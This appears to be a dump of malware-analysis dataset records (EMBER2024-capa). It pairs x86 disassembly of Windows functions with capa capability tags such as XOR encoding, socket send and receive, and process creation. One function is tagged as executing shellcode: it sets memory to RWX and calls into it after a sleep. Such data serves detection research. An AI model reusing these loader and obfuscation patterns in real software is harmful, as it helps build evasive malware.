joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40951c
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff88
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
lea ebx, [ebp - 0x78]
xor eax, eax
push ebp
push 0x40960c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409624
push esi
push 0x409630
push edi
lea eax, [ebp - 8]
mov edx, 4
call fcn.00403388
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00402750
mov dword [ebp - 0x4c], 0x44
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004033e8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4095a0
mov al, 0x62
call fcn.00409160
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x4095b7
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 1
push 0
push 0
push 0
push ebx
call sub.user32.dll_PeekMessageA
test eax, eax
jne 0x4095ab
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x5c]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x4095b7
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409613
lea eax, [ebp - 8]
call fcn.0040316c
ret

Function at 0x4096c4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409778
jmp 0x40976d
cmp dword [esi + 0x10], 0x1000
jne 0x409759
test byte [esi + 0x15], 1
jne 0x409759
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409718
cmp eax, 2
je 0x409718
cmp eax, 0x10
je 0x409718
cmp eax, 0x20
jne 0x40972d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40972d
mov bl, 1
xor ebp, ebp
jmp 0x40973e
mov eax, dword [esi]
add eax, ebp
call fcn.004096bc
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409731
test bl, bl
je 0x409759
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409778
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4096f0
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x422560
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42258d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42258d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4233c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
xor esi, esi
cmp dword [esp + 0x10], esi
jbe 0x423413
push ebx
mov ebx, dword [esp + 0x14]
and ebx, 1
mov al, byte [esi + ebp]
mov ecx, 0x430260
xor al, 0x73
sub al, 0x58
push ebx
mov byte [esi + ebp], al
call fcn.004024ea
push eax
call fcn.00401dd2
mov al, byte [esi + ebp]
sub al, 0x14
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [esi + ebp], al
inc esi
pop ecx
cmp esi, dword [esp + 0x14]
jb 0x4233d9
pop ebx
pop esi
pop ebp
ret

Function at 0x423416
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x42f040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.00401fdd
push 0xc
call fcn.00406576
pop ecx
test eax, eax
je 0x42344d
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call section..bss
jmp 0x42344f
xor eax, eax
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x47a218
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x42339a
lea ecx, [ebp - 0x28]
call fcn.00401d1e
lea ecx, [ebp - 0x28]
call fcn.004040aa
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x47a218
add edx, 0x188
mov esi, 0x431018
push esi
call edx
cmp dword [ebp - 0x24], 0
jne 0x4234c4
lea ecx, [ebp - 0x1c]
call fcn.004033ef
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004065b4
leave
ret
call fcn.0040dc7b
int3
Function at 0x406ea0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x421014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, 0x13
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x58], 0xe740
mov dword [ebp - 0x54], 0
nop
movups xmm0, xmmword [str.abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
xor eax, 0x1d
movups xmmword [ebp - 0x48], xmm0
xor ecx, 0
movups xmm0, xmmword [0x41f7d0]
movups xmmword [ebp - 0x38], xmm0
movups xmm0, xmmword [0x41f7e0]
movups xmmword [ebp - 0x28], xmm0
movups xmm0, xmmword [0x41f7f0]
movups xmmword [ebp - 0x18], xmm0
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x68], 0x1d
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0x9a06
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x70], 0x4d39
mov dword [ebp - 0x6c], 0
mov edx, dword [ebp - 0x60]
mov esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x68]
add edx, eax
mov ecx, dword [ebp - 0x64]
adc esi, ecx
add edx, 1
mov dword [ebp - 0x88], edx
adc esi, 0
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
sub edx, eax
mov dword [ebp - 0x80], edx
sbb esi, ecx
mov dword [ebp - 0x7c], esi
mov esi, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
push eax
push ecx
push edx
push esi
call fcn.00418f10
mov dword [ebp - 0x90], eax
mov esi, 0x40
mov dword [ebp - 0x8c], edx
mov ecx, dword [ebp - 0x90]
sub esi, ecx
mov eax, dword [ebp - 0x8c]
call fcn.0040d2a4
xor edx, edx
dec ebx
div esi
mov cl, byte [ebp + edx - 0x48]
mov byte [edi], cl
inc edi
test ebx, ebx
jg 0x406ed0
mov ebx, dword [ebp - 0x4c]
mov eax, ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov dword [ebx], edi
pop edi
pop esi
pop ebx
call fcn.0040aaea
mov esp, ebp
pop ebp
ret
Function at 0x412b9e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041281b
Function at 0x401510
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push eax
push ecx
push esi
call fcn.00401000
lea edi, [eax*4]
add esp, 0xc
xor ebx, ebx
mov dword [esp + 0xc], eax
test edi, edi
jle 0x401585
lea edx, [esi + edi*4 + 8]
lea ecx, [esi + 8]
push ebp
mov eax, dword [edx - 8]
mov ebp, dword [ecx - 8]
mov dword [ecx - 8], eax
mov dword [edx - 8], ebp
mov ebp, dword [edx - 4]
mov eax, dword [ecx - 4]
mov dword [ecx - 4], ebp
mov ebp, dword [edx]
mov dword [edx - 4], eax
mov eax, dword [ecx]
mov dword [ecx], ebp
mov ebp, dword [edx + 4]
mov dword [edx], eax
mov eax, dword [ecx + 4]
mov dword [ecx + 4], ebp
mov dword [edx + 4], eax
add ebx, 4
sub edi, 4
add ecx, 0x10
sub edx, 0x10
cmp ebx, edi
jl 0x401544
mov eax, dword [esp + 0x10]
pop ebp
cmp eax, 1
jle 0x401740
lea edx, [eax - 1]
mov ecx, dword [esi + 0x10]
movzx ebx, byte [esi + 0x11]
mov ebx, dword [ebx*4 + str.ccccwwww]
add esi, 0x10
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x411648]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411e48]
movzx ebx, byte [esi + 2]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411a48]
movzx ebx, byte [esi + 5]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x412248]
mov ecx, dword [esi + 4]
mov dword [esi], edi
mov ebx, dword [ebx*4 + str.ccccwwww]
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x411648]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411e48]
movzx ebx, byte [esi + 6]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411a48]
movzx ebx, byte [esi + 9]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x412248]
mov ecx, dword [esi + 8]
mov dword [esi + 4], edi
mov ebx, dword [ebx*4 + str.ccccwwww]
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x411648]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411e48]
movzx ebx, byte [esi + 0xa]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411a48]
movzx ebx, byte [esi + 0xd]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x412248]
mov ecx, dword [esi + 0xc]
mov dword [esi + 8], edi
mov ebx, dword [ebx*4 + str.ccccwwww]
mov edi, ecx
shr edi, 0x18
mov edi, dword [edi*4 + str.ccccwwww]
and edi, 0xff
mov edi, dword [edi*4 + 0x411648]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411e48]
movzx ebx, byte [esi + 0xe]
mov ebx, dword [ebx*4 + str.ccccwwww]
and ecx, 0xff
mov ecx, dword [ecx*4 + str.ccccwwww]
and ebx, 0xff
xor edi, dword [ebx*4 + 0x411a48]
and ecx, 0xff
xor edi, dword [ecx*4 + 0x412248]
sub edx, 1
mov dword [esi + 0xc], edi
jne 0x401591
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x403ce0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x24
mov eax, dword [0x415020]
xor eax, esp
mov dword [esp + 0x20], eax
cmp dword [section..data], 0
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x30]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x44]
push edi
mov edi, dword [esp + 0x44]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
je 0x403e39
cmp dword [ecx + 0xf0], 0
lea ebp, [ecx + 0xf4]
jne 0x403d51
mov edx, dword [edi]
mov dword [ebp], edx
mov edx, dword [edi + 4]
mov dword [ebp + 4], edx
mov edx, dword [edi + 8]
mov dword [ebp + 8], edx
mov edx, dword [edi + 0xc]
add edi, 0x10
sub eax, 0x10
mov dword [ebp + 0xc], edx
mov dword [esp + 0x10], eax
mov dword [ecx + 0xf0], 1
cmp eax, 0x10
jl 0x403ddb
mov edx, eax
shr edx, 4
mov dword [esp + 0x1c], edx
neg edx
mov ebx, edi
shl edx, 4
sub ebx, ebp
add eax, edx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x3c]
push ebp
push ebp
push eax
push ecx
call fcn.00401750
add esp, 0x10
lea ecx, [edi + 2]
mov eax, ebp
mov dword [esp + 0x18], 4
nop
movzx edx, byte [ebx + eax]
xor dl, byte [eax]
add eax, 4
mov byte [esi], dl
movzx edx, byte [eax - 3]
xor dl, byte [ecx - 1]
add ecx, 4
mov byte [esi + 1], dl
movzx edx, byte [eax - 2]
xor dl, byte [ecx - 4]
add esi, 4
mov byte [esi - 2], dl
movzx edx, byte [eax - 1]
xor dl, byte [ecx - 3]
sub dword [esp + 0x18], 1
mov byte [esi - 1], dl
jne 0x403d90
mov ecx, dword [esp + 0x14]
add edi, 0x10
add ebx, 0x10
sub dword [esp + 0x1c], 1
jne 0x403d72
mov eax, dword [esp + 0x40]
test eax, eax
je 0x403eca
mov eax, dword [esp + 0x3c]
push ebp
push ebp
push eax
push ecx
call fcn.00401750
add esp, 0x10
lea ecx, [edi + 2]
mov eax, ebp
sub edi, ebp
mov ebp, 4
nop
movzx edx, byte [eax + edi]
xor dl, byte [eax]
add eax, 4
mov byte [esi], dl
movzx edx, byte [eax - 3]
xor dl, byte [ecx - 1]
add ecx, 4
mov byte [esi + 1], dl
movzx edx, byte [eax - 2]
xor dl, byte [ecx - 4]
add esi, 4
mov byte [esi - 2], dl
movzx edx, byte [eax - 1]
xor dl, byte [ecx - 3]
sub ebp, 1
mov byte [esi - 1], dl
jne 0x403e00
jmp 0x403eca
cmp eax, 0x10
mov ebp, dword [esp + 0x3c]
jl 0x403e94
mov ebx, eax
shr ebx, 4
mov edx, ebx
neg edx
shl edx, 4
add eax, edx
mov dword [esp + 0x40], eax
jmp 0x403e5a
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x20]
push eax
push edi
push ebp
push ecx
call fcn.00402840
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
mov dword [esi], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esi + 4], edx
mov dword [esi + 8], eax
mov dword [esi + 0xc], ecx
add esp, 0x10
add edi, 0x10
add esi, 0x10
sub ebx, 1
jne 0x403e56
mov eax, dword [esp + 0x40]
test eax, eax
je 0x403eca
push eax
xor ecx, ecx
lea edx, [esp + 0x24]
push edi
push edx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], ecx
call fcn.00405e80
mov ecx, dword [esp + 0x20]
push esi
lea eax, [esp + 0x30]
push eax
push ebp
push ecx
call fcn.00402840
add esp, 0x1c
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405c9c
add esp, 0x24
ret
Function at 0x4040b0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x38
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_DialogBoxParamA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor ebx, ebx
jmp 0x4040d0
mov eax, dword [str..COM1111]
mov ecx, dword [0x416c08]
mov dword [ecx], eax
mov edx, dword [0x412b48]
mov eax, dword [0x416c08]
mov dword [eax + 4], edx
mov ecx, dword [0x412b4c]
mov edx, dword [0x416c08]
mov dword [edx + 8], ecx
mov ecx, dword [0x416c08]
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x416a88]
add ecx, 4
push ecx
lea edx, [esp + 0x1c]
push edx
push ebx
push str.JayexPort
push eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x28], 0x2000
call esi
mov ecx, dword [0x416c08]
push 0x3a
push ecx
call fcn.00406200
add esp, 8
cmp eax, ebx
je 0x40413f
mov byte [eax], bl
mov edx, dword [0x416c08]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push edx
call edi
mov dword [0x416a4c], eax
cmp eax, 0xffffffff
jne 0x4041c1
mov ecx, dword [0x416a48]
mov eax, dword [str.JayexPort]
mov dword [ecx], eax
mov edx, dword [0x412b3c]
mov eax, dword [0x416a48]
mov dword [eax + 4], edx
mov cx, word [0x412b40]
mov edx, dword [0x416a48]
mov word [edx + 8], cx
mov eax, dword [0x416a4c]
mov ecx, dword [0x416a9c]
push eax
push 0x403ef0
push ebx
push 0x15a
push ecx
call ebp
cmp eax, 1
je 0x4040d0
pop edi
pop esi
pop ebp
mov dword [0x415fc8], 1
or eax, 0xffffffff
pop ebx
add esp, 0x38
ret
push 0x1bd
push eax
mov dword [esp + 0x34], 0x1c
call dword [sym.imp.KERNEL32.dll_SetCommMask]
mov edx, dword [0x416a4c]
push 0x200
push 0x400
push edx
call dword [sym.imp.KERNEL32.dll_SetupComm]
mov eax, dword [0x416a4c]
mov esi, dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0xc
push eax
call esi
mov edx, dword [0x416a4c]
lea ecx, [esp + 0x18]
mov eax, 0xa
push ecx
push edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov ecx, dword [0x416a4c]
lea eax, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov ecx, dword [0x416a4c]
mov edx, 0x200
push 0xc
mov eax, edx
push ecx
mov dword [esp + 0x38], 0x2580
mov byte [esp + 0x46], 8
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], bl
mov byte [esp + 0x4a], 0x13
mov byte [esp + 0x49], 0x11
mov word [esp + 0x42], dx
mov word [esp + 0x44], ax
call esi
mov eax, dword [0x416a4c]
lea edx, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetCommState]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x38
ret
Function at 0x404ea0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov eax, dword [0x416a48]
mov byte [eax], 7
mov ecx, dword [0x416a48]
push ebx
xor ebx, ebx
mov byte [ecx + 3], bl
mov edx, dword [0x416a48]
mov byte [edx + 4], 0x39
mov ecx, dword [0x416a48]
mov eax, 1
mov dword [ecx + 5], eax
mov edx, dword [0x416a48]
mov dword [edx + 9], ebx
mov ecx, dword [0x416a48]
mov dword [ecx + 0xd], eax
mov edx, dword [0x416a48]
mov dword [edx + 0x11], ebx
mov eax, dword [0x416a48]
mov dword [eax + 0x15], ebx
mov edx, dword [0x416a48]
lea ecx, [edx + 0x19]
mov eax, ecx
sub eax, edx
mov edx, dword [esp + 8]
mov byte [ecx], 1
push esi
mov dword [ecx + 1], edx
mov ecx, dword [0x416a48]
add eax, 5
push ebx
mov word [ecx + 1], ax
mov edx, dword [0x416a48]
push eax
mov eax, dword [0x416a40]
push edx
push eax
call sub.WSOCK32.dll_send
xor esi, esi
lea ebx, [ebx]
mov edx, dword [0x416c08]
mov eax, dword [0x416a40]
push ebx
mov ecx, 0x8000
sub ecx, esi
push ecx
add edx, esi
push edx
push eax
call sub.WSOCK32.dll_recv
cmp eax, ebx
jle 0x404f58
add esi, eax
cmp esi, 6
jb 0x404f30
pop esi
pop ebx
ret
Function at 0x404f60
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x18
push ebx
push esi
mov eax, dword [0x416a48]
mov byte [eax], 1
mov ecx, dword [0x416a48]
mov dword [ecx + 6], 0x3f
mov edx, dword [0x416a48]
xor ebx, ebx
mov dword [edx + 0xa], ebx
mov eax, dword [0x416a48]
mov byte [eax + 3], bl
mov ecx, dword [0x416a48]
mov byte [ecx + 4], 0x39
mov edx, dword [0x416a48]
mov byte [edx + 5], bl
mov eax, dword [0x416a48]
mov dword [eax + 0xe], 0x2c
mov ecx, dword [0x416a48]
mov dword [ecx + 0x12], ebx
mov edx, dword [0x416a48]
mov dword [edx + 0x16], ebx
mov eax, dword [0x416a48]
mov dword [eax + 0x1a], 5
mov ecx, dword [0x416a48]
mov dword [ecx + 0x1e], 2
mov edx, dword [0x416a48]
mov dword [edx + 0x22], ebx
mov eax, dword [0x416a48]
mov byte [eax + 0x26], 4
mov ecx, dword [0x416a48]
mov byte [ecx + 0x27], bl
mov edx, dword [0x416a48]
mov byte [edx + 0x28], 1
lea eax, [edx + 0x28]
mov dword [eax + 1], 0x186a1
mov ecx, eax
inc eax
mov byte [eax + 4], 3
sub ecx, edx
mov edx, dword [0x416aa0]
add eax, 4
mov dword [eax + 1], edx
mov edx, dword [0x416aa4]
inc eax
mov dword [eax + 4], edx
mov edx, dword [0x416aa8]
mov dword [eax + 8], edx
mov edx, dword [0x416aac]
mov dword [eax + 0xc], edx
add eax, 0x10
mov byte [eax], 1
mov dword [eax + 1], ebx
mov eax, dword [0x416a48]
add ecx, 0x1b
push ebx
push ecx
mov word [eax + 1], cx
mov ecx, dword [0x416a48]
mov edx, dword [0x416a40]
push ecx
push edx
call sub.WSOCK32.dll_send
mov eax, dword [0x416c08]
mov ecx, dword [0x416a40]
push fcn.00404e80
push 0x2c
push 6
push eax
push ecx
push ebx
call fcn.00404ba0
mov esi, eax
add esp, 0x18
cmp esi, ebx
je 0x405100
push ebp
push edi
mov edx, dword [esi + 0x24]
push 0x7c
push edx
call fcn.00406200
add esp, 8
cmp eax, ebx
je 0x4050de
mov byte [eax], bl
mov edi, dword [esi + 0x24]
mov ecx, edi
inc eax
lea ebp, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4050a5
sub ecx, ebp
cmp ecx, 0x1e
jbe 0x4050b6
mov byte [edi + 0x3c], bl
mov ecx, eax
lea edi, [ecx + 1]
jmp 0x4050c0
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4050c0
sub ecx, edi
cmp ecx, 0x1e
jbe 0x4050d1
mov byte [eax + 0x1e], bl
push eax
mov eax, dword [esi + 0x24]
push eax
call fcn.004042a0
add esp, 8
push esi
call fcn.00404e80
mov ecx, dword [esi + 8]
push ecx
call fcn.00404ea0
mov edi, dword [esi]
push esi
call fcn.00405ccd
add esp, 0xc
mov esi, edi
cmp edi, ebx
jne 0x405088
pop edi
pop ebp
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
add dword [esp + 8], 0x34be8800
lea edx, [esp + 0x10]
push edx
adc dword [esp + 0x10], 0xfffffffd
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea ecx, [esp + 0x10]
push 0x416aa0
push ecx
call fcn.004045f0
add esp, 8
pop esi
pop ebx
add esp, 0x18
ret
Function at 0x405150
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x18
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [esp]
push ecx
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
add dword [esp], 0x34be8800
lea eax, [esp + 8]
push eax
adc dword [esp + 8], 0xfffffffd
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea edx, [esp + 8]
push 0x416aa0
push edx
call fcn.004045f0
mov eax, dword [0x415fd8]
add esp, 8
push 0
mov ecx, 8
sub ecx, eax
push ecx
lea edx, [eax + 0x415fc0]
mov eax, dword [0x416c0c]
push edx
push eax
call sub.WSOCK32.dll_recv
test eax, eax
jle 0x40521d
mov ecx, dword [0x415fd8]
add ecx, eax
mov dword [0x415fd8], ecx
cmp ecx, 8
jne 0x4051fc
xor ecx, ecx
cmp dword [0x415fc0], 0x186a1
mov dword [0x415fd8], ecx
jne 0x4051fc
mov ecx, dword [0x415fc4]
push ecx
call fcn.00404f60
mov ecx, dword [0x415fd8]
add esp, 4
push 0
mov edx, 8
sub edx, ecx
push edx
lea eax, [ecx + 0x415fc0]
mov ecx, dword [0x416c0c]
push eax
push ecx
call sub.WSOCK32.dll_recv
test eax, eax
jg 0x4051c0
xor eax, eax
add esp, 0x18
ret
Function at 0x405b50
Capabilities:
Create thread
Initialize winsock library
Query environment variable

Disassembly:
sub esp, 0x598
mov eax, dword [0x415020]
xor eax, esp
mov dword [esp + 0x594], eax
mov eax, dword [esp + 0x59c]
push 0x28
push 0x416a60
push str.CGPClinic
mov dword [0x416a9c], eax
mov byte [0x416a60], 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
push 0x416a60
lea ecx, [esp + 0x198]
push str.SoftwareCompleteGP_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp]
push edx
push 0x416a88
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [esp + 0x1b0]
push eax
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 4]
push ecx
push 0x101
call sub.WSOCK32.dll_WSAStartup
push 0x8000
call fcn.00405daa
push 0x8000
mov dword [0x416a48], eax
call fcn.00405daa
add esp, 8
mov dword [0x416c08], eax
call fcn.004040b0
test eax, eax
jne 0x405c1e
lea edx, [esp]
push edx
push eax
push eax
push 0x405a10
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00405230
mov ecx, dword [esp + 0x594]
xor ecx, esp
call fcn.00405c9c
add esp, 0x598
ret 0x10

Function at 0x405c9c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415020]
jne 0x405ca6
repz ret
jmp fcn.00406a05
Function at 0x40b36b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406b7d
and dword [ebp - 4], 0
cmp dword [0x416958], 0
mov ebx, eax
jne 0x40b41c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b4cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4134b8
push edi
call esi
test eax, eax
je 0x40b4cd
push eax
call fcn.00406b0b
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x416958], eax
call esi
push eax
call fcn.00406b0b
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41695c], eax
call esi
push eax
call fcn.00406b0b
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x416960], eax
call esi
push eax
call fcn.00406b0b
pop ecx
mov dword [0x416968], eax
test eax, eax
je 0x40b41c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406b0b
pop ecx
mov dword [0x416964], eax
mov eax, dword [0x416964]
cmp eax, ebx
je 0x40b474
cmp dword [0x416968], ebx
je 0x40b474
push eax
call fcn.00406b86
push dword [0x416968]
mov esi, eax
call fcn.00406b86
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b474
test edi, edi
je 0x40b474
call esi
test eax, eax
je 0x40b46b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b46b
test byte [ebp - 0xc], 1
jne 0x40b474
or dword [ebp + 0x10], 0x200000
jmp 0x40b4ad
mov eax, dword [0x41695c]
cmp eax, ebx
je 0x40b4ad
push eax
call fcn.00406b86
pop ecx
test eax, eax
je 0x40b4ad
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b4ad
mov eax, dword [0x416960]
cmp eax, ebx
je 0x40b4ad
push eax
call fcn.00406b86
pop ecx
test eax, eax
je 0x40b4ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x416958]
call fcn.00406b86
pop ecx
test eax, eax
je 0x40b4cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b4cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret